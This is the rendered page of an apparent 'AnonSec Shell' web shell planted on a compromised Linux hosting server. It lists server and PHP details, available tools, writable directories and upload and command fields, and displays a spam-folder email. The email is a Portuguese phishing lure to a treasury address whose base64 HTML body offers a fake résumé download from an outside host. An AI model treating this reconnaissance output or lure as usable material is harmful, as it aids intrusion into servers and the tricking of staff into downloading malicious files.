AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.252
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/././mail/.spam/new/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/././mail/.spam/new/1741284775.M386275P8382.dedi-4363141.lrsys.com.br,S=7065,W=7194
Return-Path: <vaga3863@express8875.financeirorosa.biz>
Delivered-To: lrsys+spam@dedi-4363141.lrsys.com.br
Received: from dedi-4363141.lrsys.com.br
	by dedi-4363141.lrsys.com.br with LMTP
	id OOHFFqflyWe+IAAAIWsJAg
	(envelope-from <vaga3863@express8875.financeirorosa.biz>)
	for <lrsys+spam@dedi-4363141.lrsys.com.br>; Thu, 06 Mar 2025 15:12:55 -0300
Return-path: <vaga3863@express8875.financeirorosa.biz>
Envelope-to: tesouraria@lrsys.com.br
Delivery-date: Thu, 06 Mar 2025 15:12:55 -0300
Received: from express8875.financeirorosa.biz ([37.27.40.58]:45714)
	by dedi-4363141.lrsys.com.br with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
	(Exim 4.98.1)
	(envelope-from <vaga3863@express8875.financeirorosa.biz>)
	id 1tqFiE-000000002EG-3iaj
	for tesouraria@lrsys.com.br;
	Thu, 06 Mar 2025 15:12:55 -0300
Received: from express8875.financeirorosa.biz (localhost [127.0.0.1])
	by express8875.financeirorosa.biz (Postfix) with ESMTP id F0A9321245
	for <tesouraria@lrsys.com.br>; Thu,  6 Mar 2025 15:12:08 -0300 (-03)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple;
	d=express8875.financeirorosa.biz; s=default; t=1741284728;
	bh=WAOUX9IzFLCTF7BOAzMLc/WoSJxNvzWb7n2GQ+V1uRw=;
	h=From:To:Reply-To:Date:Subject:From;
	b=NIGSpewjK/ppmvn46RtKGxR5iOdUskwi17kJbmtN0KXI+f/aZRkTAIAe3GlIBltjf
	 2hadclAnDnZRQhF49Fx9i8gg4AvHENdicCQOt9smrz4/2pbiXjPrQek30ugdnmiAv6
	 RcjLY6bT6QFV8z09k0kbKx+PzOYZWR/xxMvj7N1JlmB0kQWXFPHiaY2X9nn+1/c/Ff
	 +lw2u08NhVwL1q6D4JNzLSBU1bBdqoi+YgyNXffU57CuNQhGYPfk0NN8YXZpcBY4Oz
	 P0Y7hHwxDXJbpMT8MPocA3SgMbgHU0zDot/FOzKco16aV6ocMe8Da84qM3sF7zMnp/
	 1SLWGOL7cRlPQ==
From: "Eliane Cardoso" <vaga3863@express8875.financeirorosa.biz>
To: tesouraria@lrsys.com.br
Content-Type: multipart/alternative; boundary="=_cxkeklLdsnwNi4HwS5bi7yrWFDvIP4la"
MIME-Version: 1.0
Reply-To: jej34@express8875.financeirorosa.biz
Date: Thu, 6 Mar 2025 15:12:08 -0300
Message-Id: <20250306181208.F0A9321245@express8875.financeirorosa.biz>
X-Spam-Status: Yes, score=11.2
X-Spam-Score: 112
X-Spam-Bar: +++++++++++
X-Spam-Report: Spam detection software, running on the system "dedi-4363141.lrsys.com.br",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  An HTML viewer is required to see this message Eliane Cardoso
    Caro(a) tesouraria@lrsys.com.br, 
 Content analysis details:   (11.2 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: hvvc.us]
  2.5 URIBL_DBL_PHISH        Contains a Phishing URL listed in the Spamhaus
                             DBL blocklist
                             [URIs: financeirorosa.biz]
  5.0 BAYES_99               BODY: Bayes spam probability is 99 to 100%
                             [score: 1.0000]
  1.0 BAYES_999              BODY: Bayes spam probability is 99.9 to 100%
                             [score: 1.0000]
  0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                            [37.27.40.58 listed in sa-trusted.bondedsender.org]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [37.27.40.58 listed in bl.score.senderscore.com]
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
 -0.0 SPF_PASS               SPF: sender matches SPF record
  0.8 MPART_ALT_DIFF         BODY: HTML and text parts are different
  0.0 HTML_MESSAGE           BODY: HTML included in message
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
                             valid
 -0.1 DKIM_VALID             Message has at least one valid DKIM or DK signature
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from
                             author's domain
  0.5 KAM_NUMSUBJECT         Subject ends in numbers excluding current years
  0.8 KAM_INFOUSMEBIZ        Prevalent use of
                             .info|.us|.me|.me.uk|.biz|xyz|id|rocks|life
                              domains in spam/malware
  0.8 FROM_FMBLA_NEWDOM28    From domain was registered in last 14-28
                             days
  0.0 T_KAM_HTML_FONT_INVALID Test for Invalidly Named or Formatted
                             Colors in HTML
X-Spam-Flag: YES
Subject:  ***SPAM***  CV:93020132025

This is a multi-part message in MIME format

--=_cxkeklLdsnwNi4HwS5bi7yrWFDvIP4la
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

An HTML viewer is required to see this message

--=_cxkeklLdsnwNi4HwS5bi7yrWFDvIP4la
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: base64
Content-Disposition: inline

PCFET0NUWVBFIGh0bWw+CjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJwdC1iciI+CjxoZWFk
PgogICAgPG1ldGEgY2hhcnNldD0iVVRGLTgiPgo8L2hlYWQ+CiAgPGJvZHk+CiAgICA8ZGl2IHN0
eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0OyI+CiAgICAgIDxzcGFuIHN0eWxlPSJmb250LXNpemU6MThw
eDsiPjxzdHJvbmcgc3R5bGU9ImZvbnQtZmFtaWx5OiBHZW9yZ2lhLCBzZXJpZjsgdGV4dC1hbGln
bjogY2VudGVyOyI+PHNwYW4gc3R5bGU9ImNvbG9yOiAjUVcyRTIyOyI+RWxpYW5lIENhcmRvc288
L3NwYW4+PC9zdHJvbmc+PC9zcGFuPgogICAgPC9kaXY+CiAgICA8ZGl2IHN0eWxlPSJ0ZXh0LWFs
aWduOiBsZWZ0OyI+CiAgICAgIDxociAvPgogICAgICA8cD4KICAgICAgICA8c3BhbiBzdHlsZT0i
Zm9udC1zaXplOjE0cHg7Ij48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IEdlb3JnaWEsIHNlcmlm
OyI+Q2FybyhhKSB0ZXNvdXJhcmlhQGxyc3lzLmNvbS5iciw8L3NwYW4+PC9zcGFuPgogICAgICA8
L3A+CiAgICAKICAgICAgPHA+CiAgICAgICAgPGEgaHJlZj0iaFRUcHM6Ly83NC01MC0xMTMtNDQu
c3RhdGljLmh2dmMudXMvUDE4NEFldkZIUEhXUC9DSGUwZUJwdmlCeEg5STcvQkpfMDAwMDIyODYx
NiIgdGFyZ2V0PSJfYmxhbmsiICBkYXRhLWF1dGg9Ik5vdEFwcGxpY2FibGUiIHN0eWxlPSJkaXNw
bGF5OiBibG9jazsgbWF4LXdpZHRoOiAyOTBweDsgb3ZlcmZsb3c6IGhpZGRlbjsgdGV4dC1vdmVy
ZmxvdzogZWxsaXBzaXM7IHdoaXRlLXNwYWNlOiBub3dyYXA7IHRleHQtZGVjb3JhdGlvbjogbm9u
ZTsgcGFkZGluZzogMXB4IDA7IGJvcmRlcjogbm9uZTsiPgogICAgICAgICAgPHNwYW4gc3R5bGU9
ImNvbG9yOiAjMTVjOyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IHZlcnRpY2FsLWFsaWduOiBib3R0
b207Ij5DdXJyJiMyMzc7Y3VsbyBFbGlhbmUgQ2FyZG9zbyAtICg2MjJNQik8L3NwYW4+CiAgICAg
ICAgPC9hPgogICAgICA8L3A+CiAgICAgIAogICAgICA8c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6
IEdlb3JnaWEsIHNlcmlmOyI+QXR0LDwvc3Bhbj4KICAgCiAgICAgICZuYnNwO0VsaWFuZSBDYXJk
b3NvCiAgICA8L2Rpdj4KICA8L2JvZHk+CjwvaHRtbD4K

--=_cxkeklLdsnwNi4HwS5bi7yrWFDvIP4la--


Anon7 - 2022
AnonSec Team